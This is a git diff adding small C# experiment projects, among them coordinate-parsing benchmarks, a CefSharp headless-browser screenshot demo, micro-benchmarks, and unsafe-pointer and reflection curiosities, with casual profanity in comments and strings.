&& chars[^1] is 'z' or 'Z' or 'n' or 'N') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out z); + } + else if (((!hasWorld && word == 1) || (hasWorld && word == 2)) && chars[^1] is 'e' or 'E') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out x); + x = -x; + } + else if (((!hasWorld && word == 0) || (hasWorld && word == 1)) && chars[^1] is 's' or 'S') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out z); + z = -z; + } + else if (((!hasWorld && word == 2) || (hasWorld && word == 3)) && chars[^1] is 'a' or 'A') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out y); + } + else if (((!hasWorld && word == 3) || (hasWorld && word == 4)) && double.TryParse(chars, + NumberStyles.Float, CultureInfo.InvariantCulture, out double temp)) + { + yaw = temp; + } + } + } + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsAbsoluteUnit(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsRelativeUnit(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsAbsoluteUnit(ReadOnlySpan chars) + { + ReadOnlySpan validChars = "nNeEwWsSaA"; + return double.TryParse(chars, out _) || + (validChars.Contains(chars[^1]) && + double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out _)); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsRelativeUnit(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsRelativeUnit(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsRelativeUnit(ReadOnlySpan chars) + { + return (chars[0] == '+' || chars[0] == '-') && + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out _); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a valid coordinate unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid coordinate unit string; otherwise, + /// . + /// + public static bool IsUnitString(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsUnitString(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a valid coordinate unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid coordinate unit string; otherwise, + /// . + /// + public static bool IsUnitString(ReadOnlySpan chars) + { + chars = chars.Trim(); + + if (chars.Length == 0) + { + return false; + } + + if (!char.IsDigit(chars[0]) && chars[0] != '+' && chars[0] != '-') + { + return false; + } + + // thicc char span + return IsRelativeUnit(chars) || IsAbsoluteUnit(chars); + } + } +} diff --git a/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj b/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj new file mode 100644 index 0000000..53f0bbf --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj @@ -0,0 +1,17 @@ + + + + Exe + net8.0 + E049_CoordinateBenchmarks + enable + enable + + + + + + + + + diff --git a/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs b/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs new file mode 100644 index 0000000..16ab2ce --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs @@ -0,0 +1,210 @@ +using System.Text.RegularExpressions; + +/// +/// Represents a struct which contains Virtual Paradise coordinates. +/// +public struct OldCoordinates : IEquatable +{ + /// + /// Gets or sets the direction. + /// + public double Direction { get; set; } + + /// + /// Gets or sets a value indicating whether this instance represents relative coordinates. + /// + public bool IsRelative { get; set; } + + /// + /// Gets or sets the world. + /// + public string World { get; set; } + + /// + /// Gets or sets the X coordinate. + /// + public double X { get; set; } + + /// + /// Gets or sets the Y coordinate. + /// + public double Y { get; set; } + + /// + /// Gets or sets the Z coordinate. + /// + public double Z { get; set; } + + public static bool operator ==(OldCoordinates left, OldCoordinates right) => + left.Equals(right); + + public static bool operator !=(OldCoordinates left, OldCoordinates right) => + !(left == right); + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// Returns an instance of . + public static OldCoordinates ParseFaster(string coordinates) + { + const string pattern = + @"(?:([a-z]+) +)?(?: *(\+)?(-?\d+(?:\.\d+)?)([ns])? +(\+)?(-?\d+(?:\.\d+)?)([we])?( +(\+)?(-?\d+(?:\.\d+)?)a)?( +(\+)?(-?\d+(?:\.\d+)?))?)?"; + Regex regex = new(pattern, RegexOptions.IgnoreCase); + + Match match = regex.Match(coordinates); + bool relative = match.Groups[2].Success || match.Groups[5].Success; + + string world = match.Groups[1].Success ? match.Groups[1].Value : string.Empty; + double z = match.Groups[3].Success ? double.Parse(match.Groups[3].Value) : 0.0; + double x = match.Groups[6].Success ? double.Parse(match.Groups[6].Value) : 0.0; + double y = match.Groups[10].Success ? double.Parse(match.Groups[10].Value) : 0.0; + double direction = match.Groups[13].Success ? double.Parse(match.Groups[13].Value) : 0.0; + + if (match.Groups[4].Success && + match.Groups[4].Value.Equals("S", StringComparison.InvariantCultureIgnoreCase)) + { + z = -z; + } + + if (match.Groups[7].Success && + match.Groups[7].Value.Equals("E", StringComparison.InvariantCultureIgnoreCase)) + { + x = -x; + } + + return new OldCoordinates + { + Z = z, + X = x, + Y = y, + Direction = direction, + World = world, + IsRelative = relative + }; + } + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// Returns an instance of . + public static OldCoordinates Parse(string coordinates) + { + const string pattern = + @"(?:([a-z]+) *)?(?: *(\+)?(-?\d+(?:\.\d+)?)([ns])? +(\+)?(-?\d+(?:\.\d+)?)([we])?( +(\+)?(-?\d+(?:\.\d+)?)a)?( +(\+)?(-?\d+(?:\.\d+)?))?)?"; + + var regex = new Regex(pattern, RegexOptions.IgnoreCase); + Match match = regex.Match(coordinates); + bool relative = match.Groups[2].Success || match.Groups[5].Success; + + string world = match.Groups[1].Success ? match.Groups[1].Value : string.Empty; + double z = match.Groups[3].Success ? Convert.ToDouble(match.Groups[3].Value) : 0.0; + double x = match.Groups[6].Success ? Convert.ToDouble(match.Groups[6].Value) : 0.0; + double y = match.Groups[10].Success ? Convert.ToDouble(match.Groups[10].Value) : 0.0; + double direction = match.Groups[13].Success ? Convert.ToDouble(match.Groups[13].Value) : 0.0; + + if (match.Groups[4].Success && + match.Groups[4].Value.Equals("S", StringComparison.InvariantCultureIgnoreCase)) + { + z = -z; + } + + if (match.Groups[7].Success && + match.Groups[7].Value.Equals("E", StringComparison.InvariantCultureIgnoreCase)) + { + x = -x; + } + + return new OldCoordinates + { + Z = z, + X = x, + Y = y, + Direction = direction, + World = world, + IsRelative = relative + }; + } + + /// + /// Returns the string representation of these coordinates. + /// + /// Returns a . + public override string ToString() + { + return ToString("{0}"); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// The format to apply to each component. + /// Returns a . + public string ToString(string format) + { + var result = ""; + + if (!string.IsNullOrWhiteSpace(World)) + { + result += $"{World} "; + } + + bool north = Z >= 0.0; + bool west = X >= 0.0; + bool up = Y >= 0.0; + bool dir = Direction >= 0.0; + + if (IsRelative) + { + string zChar = north ? "+" : ""; + string xChar = west ? "+" : ""; + string upChar = up ? "+" : ""; + string dirChar = dir ? "+" : ""; + + result += zChar + string.Format(format, Z) + " " + + xChar + string.Format(format, X) + " " + + upChar + string.Format(format, Y) + " " + + dirChar + string.Format(format, Direction); + } + else + { + string zChar = north ? "n" : "s"; + string xChar = west ? "w" : "e"; + result += zChar + string.Format(format, Z) + " " + + xChar + string.Format(format, X) + " " + + string.Format(format, Y) + "a " + + string.Format(format, Direction); + } + + return result; + } + + /// + public override bool Equals(object? obj) + { + return obj is OldCoordinates other && Equals(other); + } + + /// + public override int GetHashCode() + { + unchecked + { + int hashCode = Direction.GetHashCode(); + hashCode = (hashCode * 397) ^ X.GetHashCode(); + hashCode = (hashCode * 397) ^ Y.GetHashCode(); + hashCode = (hashCode * 397) ^ Z.GetHashCode(); + return hashCode; + } + } + + /// + public bool Equals(OldCoordinates other) + { + return Direction.Equals(other.Direction) && + X.Equals(other.X) && + Y.Equals(other.Y) && + Z.Equals(other.Z); + } +} \ No newline at end of file diff --git a/csharp/E049-CoordinateBenchmarks/Program.cs b/csharp/E049-CoordinateBenchmarks/Program.cs new file mode 100644 index 0000000..1fc5d8b --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class CoordinateBenchmarks +{ + [Benchmark] + public OldCoordinates OldParse() + { + return OldCoordinates.Parse("Mutation 0n 0e 0a 0"); + } + + [Benchmark] + public Coordinates NewParse() + { + return Coordinates.Parse("Mutation 0n 0e 0a 0"); + } +} diff --git a/csharp/E050-CEF/AsyncContext.cs b/csharp/E050-CEF/AsyncContext.cs new file mode 100644 index 0000000..d7cc82d --- /dev/null +++ b/csharp/E050-CEF/AsyncContext.cs @@ -0,0 +1,24 @@ +namespace E050_CEF; + +internal static class AsyncContext +{ + public static void Run(Func func) + { + var prevCtx = SynchronizationContext.Current; + + try + { + var syncCtx = new SingleThreadSynchronizationContext(); + SynchronizationContext.SetSynchronizationContext(syncCtx); + + Task t = func(); + t.ContinueWith(delegate { syncCtx.Complete(); }, TaskScheduler.Default); + syncCtx.RunOnCurrentThread(); + t.GetAwaiter().GetResult(); + } + finally + { + SynchronizationContext.SetSynchronizationContext(prevCtx); + } + } +} \ No newline at end of file diff --git a/csharp/E050-CEF/E050-CEF.csproj b/csharp/E050-CEF/E050-CEF.csproj new file mode 100644 index 0000000..eff0e38 --- /dev/null +++ b/csharp/E050-CEF/E050-CEF.csproj @@ -0,0 +1,24 @@ + + + + Exe + net8.0 + E050_CEF + enable + enable + + + + $(DefineConstants);WIN64 + + + + $(DefineConstants);WIN32 + + + + + + + + diff --git a/csharp/E050-CEF/Program.cs b/csharp/E050-CEF/Program.cs new file mode 100644 index 0000000..d361697 --- /dev/null +++ b/csharp/E050-CEF/Program.cs @@ -0,0 +1,72 @@ +using CefSharp; +using CefSharp.DevTools.Page; +using CefSharp.OffScreen; +using CefSharp.Structs; +using E050_CEF; +using SixLabors.ImageSharp; +using Cef = CefSharp.Core.Cef; +using CefSettingsBase = CefSharp.Core.CefSettingsBase; + +string browserSubprocessPath; + +if (Environment.OSVersion.Platform == PlatformID.Win32NT) +{ + string platformDirectory = Environment.Is64BitProcess ? "win-x64" : "win-x86"; + browserSubprocessPath = Path.Join("runtimes", platformDirectory, "native", "CefSharp.BrowserSubprocess.exe"); +} +else +{ + browserSubprocessPath = Path.Join("runtimes", "unix", "native", "CefSharp.BrowserSubprocess"); +} + +browserSubprocessPath = Path.GetFullPath(browserSubprocessPath); +Console.WriteLine($"Using browser subprocess path: {browserSubprocessPath}"); + +string cachePath = Path.GetFullPath("cache"); +Directory.CreateDirectory(cachePath); +Console.WriteLine($"Using cache path: {cachePath}"); + +AsyncContext.Run(async () => +{ + Console.WriteLine("Initializing CEF..."); + if (!Cef.Initialize(new CefSettingsBase { CachePath = cachePath, BrowserSubprocessPath = browserSubprocessPath })) + { + Console.WriteLine("Cannot initialize CEF"); + return; + } + + using var requestContext = new RequestContext(); + var browserSettings = new BrowserSettings { WindowlessFrameRate = 60 }; + + Console.WriteLine("Opening browser to URL..."); + using var browser = new ChromiumWebBrowser("https://google.com/", browserSettings, requestContext); + LoadUrlAsyncResponse loadResponse = await browser.WaitForInitialLoadAsync(); + if (!loadResponse.Success) + { + Console.WriteLine($"Failed to load page, Error={loadResponse.ErrorCode}, HttpStatus={loadResponse.HttpStatusCode}"); + return; + } + + Console.WriteLine("Fuck your cookies!"); + await browser.EvaluateScriptAsync("document.getElementById('W0wltc').click();"); + + Console.WriteLine("Modifying DOM..."); + await browser.EvaluateScriptAsync("document.querySelector('[name=q]').value = 'CefSharp Was Here!'"); + + DomRect contentSize = await browser.GetContentSizeAsync(); + var viewport = new Viewport + { + Width = contentSize.Width, + Height = contentSize.Height, + Scale = 1.0 + }; + + Console.WriteLine("Capturing screenshot..."); + byte[] bitmap = await browser.CaptureScreenshotAsync(viewport: viewport); + using var image = Image.Load(bitmap); + + Console.WriteLine("Saving screenshot to image.png..."); + image.Save("image.png"); + + Console.WriteLine("Done!"); +}); diff --git a/csharp/E050-CEF/SingleThreadSynchronizationContext.cs b/csharp/E050-CEF/SingleThreadSynchronizationContext.cs new file mode 100644 index 0000000..d2c680f --- /dev/null +++ b/csharp/E050-CEF/SingleThreadSynchronizationContext.cs @@ -0,0 +1,26 @@ +using System.Collections.Concurrent; + +namespace E050_CEF; + +internal sealed class SingleThreadSynchronizationContext : SynchronizationContext +{ + private readonly BlockingCollection> _queue = new(); + + public override void Post(SendOrPostCallback d, object? state) + { + _queue.Add(new KeyValuePair(d, state)); + } + + public void RunOnCurrentThread() + { + while (_queue.TryTake(out var workItem, Timeout.Infinite)) + { + workItem.Key(workItem.Value); + } + } + + public void Complete() + { + _queue.CompleteAdding(); + } +} diff --git a/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj b/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj new file mode 100644 index 0000000..d01baa5 --- /dev/null +++ b/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E051_LazyLinqTest + enable + enable + + + diff --git a/csharp/E051-LazyLinqTest/Program.cs b/csharp/E051-LazyLinqTest/Program.cs new file mode 100644 index 0000000..78922a3 --- /dev/null +++ b/csharp/E051-LazyLinqTest/Program.cs @@ -0,0 +1,15 @@ +IEnumerable foo = new int[50].Select(i => +{ + Console.WriteLine("Yikes"); + return i; +}); + +var count = 0; +foreach (int a in foo) +{ + count++; + if (count == 5) + { + break; + } +} diff --git a/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj b/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj new file mode 100644 index 0000000..b71001e --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E052_LineCountBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E052-LineCountBenchmarks/Options.cs b/csharp/E052-LineCountBenchmarks/Options.cs new file mode 100644 index 0000000..0999de4 --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/Options.cs @@ -0,0 +1,16 @@ +internal class Options +{ + public bool Whitespace { get; set; } = false; + + public IEnumerable Ignore { get; set; } = Array.Empty(); + + public string IgnoreChars { get; set; } = string.Empty; + + public string Path { get; set; } = "."; + + public string Pattern { get; set; } = "^.+$"; + + public bool Recurse { get; set; } = false; + + public bool Verbose { get; set; } = false; +} diff --git a/csharp/E052-LineCountBenchmarks/Program.cs b/csharp/E052-LineCountBenchmarks/Program.cs new file mode 100644 index 0000000..811c41b --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/Program.cs @@ -0,0 +1,133 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LineCountBenchmarks +{ + private readonly Options _options = new() + { + Path = Environment.GetEnvironmentVariable("TEST_PATH") ?? ".", + Pattern = "\\.cs$" + }; + + [Benchmark] + public async Task CountLinesAsync() + { + var regex = new Regex(_options.Pattern, RegexOptions.Compiled); + var path = Path.GetFullPath(_options.Path); + var searchOption = _options.Recurse ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly; + var files = Directory.GetFiles(path, "*", searchOption); + var count = 0; + + foreach (var file in files) + { + var directory = Path.GetDirectoryName(file); + if (directory is null) + { + continue; + } + + if (_options.Ignore.Select(Path.GetFullPath).Any(i => directory.StartsWith(i))) + { + continue; + } + + if (!regex.IsMatch(file)) + { + continue; + } + + var lines = (await File.ReadAllLinesAsync(file).ConfigureAwait(false)) as IEnumerable; + + if (!_options.Whitespace) + { + lines = lines.Where(line => !string.IsNullOrWhiteSpace(line)); + } + + if (!string.IsNullOrWhiteSpace(_options.IgnoreChars)) + { + lines = lines.Where(line => line.Trim().Length > 0 && _options.IgnoreChars.IndexOf(line.Trim()[0]) != 0); + } + + var fileCount = lines.Count(); + count += fileCount; + } + + return count; + } + + [Benchmark] + public int Count() + { + var regex = new Regex(_options.Pattern, RegexOptions.Compiled); + string path = Path.GetFullPath(_options.Path); + var searchOption = _options.Recurse ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly; + string[] files = Directory.GetFiles(path, "*", searchOption); + var count = 0; + var ignoreChars = _options.IgnoreChars.AsSpan(); + + foreach (string file in files) + { + count = CountLinesInFile(file, _options, regex, ignoreChars, count); + } + + return count; + } + + private static int CountLinesInFile(string file, Options options, Regex regex, ReadOnlySpan ignoreChars, int count) + { + string? directory = Path.GetDirectoryName(file); + + if (directory is null) + { + return count; + } + + string directoryFullPath = Path.GetFullPath(directory); + var ignore = false; + foreach (string i in options.Ignore) + { + if (directoryFullPath.StartsWith(Path.GetFullPath(i))) + { + ignore = true; + break; + } + } + + if (ignore) + { + return count; + } + + if (!regex.IsMatch(file)) + { + return count; + } + + var fileCount = 0; + using (var reader = new StreamReader(file)) + { + while (reader.ReadLine() is { } line) + { + var lineSpan = line.AsSpan().Trim(); + if (lineSpan.Length == 0) + { + continue; + } + + if (options.IgnoreChars.Length > 0 && ignoreChars.IndexOf(lineSpan[0]) != -1) + { + continue; + } + + fileCount++; + } + } + + count += fileCount; + return count; + } +} diff --git a/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj b/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj new file mode 100644 index 0000000..1879c9f --- /dev/null +++ b/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E053_InverseSqrtBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E053-InverseSqrtBenchmarks/Program.cs b/csharp/E053-InverseSqrtBenchmarks/Program.cs new file mode 100644 index 0000000..3c2ca70 --- /dev/null +++ b/csharp/E053-InverseSqrtBenchmarks/Program.cs @@ -0,0 +1,35 @@ +using System.Runtime.CompilerServices; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class InverseSqrtBenchmarks +{ + [Benchmark] + [Arguments(16.0f)] + public float OneOverMathFSqrt(float number) + { + return 1.0f / MathF.Sqrt(number); + } + + [Benchmark] + [Arguments(16.0f)] + public float Q_rsqrt(float number) + { + int i; + float x2, y; + const float threehalfs = 1.5F; + + x2 = number * 0.5F; + y = number; + i = Unsafe.As(ref y); // evil floating point bit level hacking + i = 0x5f3759df - (i >> 1); // what the fuck? + y = Unsafe.As(ref i); + y = y * (threehalfs - (x2 * y * y)); // 1st iteration +// y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed + + return y; + } +} diff --git a/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj b/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj new file mode 100644 index 0000000..964351d --- /dev/null +++ b/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E054_DivisionBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E054-DivisionBenchmarks/Program.cs b/csharp/E054-DivisionBenchmarks/Program.cs new file mode 100644 index 0000000..3eaeb2f --- /dev/null +++ b/csharp/E054-DivisionBenchmarks/Program.cs @@ -0,0 +1,37 @@ +using System.Numerics; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DivisionBenchmarks +{ + [Benchmark] + [Arguments(1.0f)] + public float SingleDivide(float x) + { + return x / 10.0f; + } + + [Benchmark] + [Arguments(0.1f)] + public float SingleMultiply(float x) + { + return x * 10.0f; + } + + [Benchmark] + [Arguments(10.0f)] + public Vector3 VectorDivide(float y) + { + return new Vector3(10.0f, 10.0f, 10.0f) / y; + } + + [Benchmark] + [Arguments(0.1f)] + public Vector3 VectorMultiply(float y) + { + return new Vector3(10.0f, 10.0f, 10.0f) * y; + } +} diff --git a/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj b/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj new file mode 100644 index 0000000..26d1536 --- /dev/null +++ b/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E055_ArrayVsSpan + enable + enable + + + + + + + diff --git a/csharp/E055-ArrayVsSpanBenchmarks/Program.cs b/csharp/E055-ArrayVsSpanBenchmarks/Program.cs new file mode 100644 index 0000000..3121ae9 --- /dev/null +++ b/csharp/E055-ArrayVsSpanBenchmarks/Program.cs @@ -0,0 +1,22 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsSpanBenchmarks +{ + [Benchmark] + public int Array() + { + var array = new int[10_000]; + return array.Length; + } + + [Benchmark] + public int Span() + { + Span span = stackalloc int[10_000]; + return span.Length; + } +} diff --git a/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj b/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj new file mode 100644 index 0000000..724689d --- /dev/null +++ b/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E056_UnsafeKata + enable + enable + + + diff --git a/csharp/E056-UnsafeKata/Program.cs b/csharp/E056-UnsafeKata/Program.cs new file mode 100644 index 0000000..4c554ec --- /dev/null +++ b/csharp/E056-UnsafeKata/Program.cs @@ -0,0 +1,12 @@ +using System.Runtime.CompilerServices; + +var t = 424; +byte[] bt = Unsafe.As(ref t); + +bool a = Unsafe.IsNullRef(ref bt); +bool b = bt is null; + +Console.WriteLine(a); +Console.WriteLine(b); + +Console.WriteLine(bt); diff --git a/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj b/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj new file mode 100644 index 0000000..cc8ffd0 --- /dev/null +++ b/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E057_TypeRoulette + enable + enable + + + diff --git a/csharp/E057-TypeRoulette/Program.cs b/csharp/E057-TypeRoulette/Program.cs new file mode 100644 index 0000000..772e294 --- /dev/null +++ b/csharp/E057-TypeRoulette/Program.cs @@ -0,0 +1,31 @@ +using System.Reflection; + +var random = new Random(); + +for (var i = 0; i < 10; i++) +{ + object instance = NextType(random); + Console.WriteLine(instance.GetType()); + Console.WriteLine($" {CallRandomMethod(random, instance)}"); +} + +return; + +static object? CallRandomMethod(Random random, object o) +{ + MethodInfo[] methods = o.GetType().GetMethods(BindingFlags.Public | BindingFlags.Instance).Where(m => m.GetParameters().Length == 0).ToArray(); + if (methods.Length == 0) return null; + return methods[random.Next(methods.Length)].Invoke(o, null); +} + +static object NextType(Random random) +{ + Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); + if (assemblies.Length == 0) return new object(); + + Assembly assembly = assemblies[random.Next(assemblies.Length)]; + Type[] types = assembly.GetTypes().Where(t => !t.ContainsGenericParameters && t.GetConstructors(BindingFlags.Public | BindingFlags.Instance).Count(c => c.GetParameters().Length == 0) == 1).ToArray(); + if (types.Length == 0) return new object(); + Type type = types[random.Next(types.Length)]; + return Activator.CreateInstance(type)!; +} diff --git a/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj new file mode 100644 index 0000000..e5d669d --- /dev/null +++ b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E058_ToArrayVsAsReadOnlyBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs new file mode 100644 index 0000000..3d3684c --- /dev/null +++ b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs @@ -0,0 +1,59 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ToArrayVsAsReadOnlyBenchmarks +{ + private readonly List _100List = new(100); + private readonly List _1000List = new(1000); + private readonly List _10000List = new(10000); + + [GlobalSetup] + public void Setup() + { + for (var i = 0; i < 10000; i++) + { + if (i < 100) _100List.Add(i); + if (i < 1000) _1000List.Add(i); + _10000List.Add(i); + } + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_100Items() + { + return _100List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_100Items() + { + return _100List.ToArray(); + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_1000Items() + { + return _1000List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_1000Items() + { + return _1000List.ToArray(); + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_10000Items() + { + return _10000List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_10000Items() + { + return _10000List.ToArray(); + } +} diff --git a/csharp/E059-RandomTypes/E059-RandomTypes.csproj b/csharp/E059-RandomTypes/E059-RandomTypes.csproj new file mode 100644 index 0000000..91020d8 --- /dev/null +++ b/csharp/E059-RandomTypes/E059-RandomTypes.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E059_RandomTypes + enable + enable + + + diff --git a/csharp/E059-RandomTypes/Program.cs b/csharp/E059-RandomTypes/Program.cs new file mode 100644 index 0000000..1d91455 --- /dev/null +++ b/csharp/E059-RandomTypes/Program.cs @@ -0,0 +1,11 @@ +foreach (int number in Get10RandomNumbers()) +{ + Console.WriteLine(number); +} + +static IEnumerable Get10RandomNumbers() +{ + var random = new Random(); + for (var i = 0; i < 10; i++) + yield return random.Next(); +} diff --git a/csharp/E059-RandomTypes/RandomType.cs b/csharp/E059-RandomTypes/RandomType.cs new file mode 100644 index 0000000..687480e --- /dev/null +++ b/csharp/E059-RandomTypes/RandomType.cs @@ -0,0 +1,44 @@ +namespace E059_RandomTypes; + +public struct RandomType +{ + private static readonly Type[] Types = { typeof(int), typeof(double), typeof(bool), typeof(string) }; + private static readonly Random Random = new(); + private readonly Type _type; + private readonly object _value; + + private RandomType(Type type, object value) + { + _type = type; + _value = value; + } + + public static explicit operator int(RandomType r) + { + if (r._type == typeof(int)) return (int)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator double(RandomType r) + { + if (r._type == typeof(double)) return (double)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator bool(RandomType r) + { + if (r._type == typeof(bool)) return (bool)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator string(RandomType r) + { + if (r._type == typeof(string)) return (string)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static implicit operator RandomType(int o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(bool o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(double o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(string o) => new RandomType(Types[Random.Next(Types.Length)], o); +} diff --git a/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj b/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj new file mode 100644 index 0000000..f99dcae --- /dev/null +++ b/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E060_StringFuckery + enable + enable + true + + + diff --git a/csharp/E060-PointerFuckery/Program.cs b/csharp/E060-PointerFuckery/Program.cs new file mode 100644 index 0000000..aae57b5 --- /dev/null +++ b/csharp/E060-PointerFuckery/Program.cs @@ -0,0 +1,20 @@ +using System.Runtime.InteropServices; + +unsafe +{ + var i = (int*)Marshal.AllocHGlobal(sizeof(int)); // 4 bytes on heap + *i = 123; // deref and assign + Console.WriteLine(*i); // deref and print + Marshal.FreeHGlobal(new nint(i)); + + const string str = "Hello"; + fixed (char* ptr = str) + { + *(ptr + 1) = 'a'; + } + + Console.WriteLine("Hello"); + Console.WriteLine("Hello" == "Hallo"); + Console.WriteLine("Hello".Equals("Hallo")); + Console.WriteLine(ReferenceEquals("Hello", str)); +} diff --git a/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj b/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj new file mode 100644 index 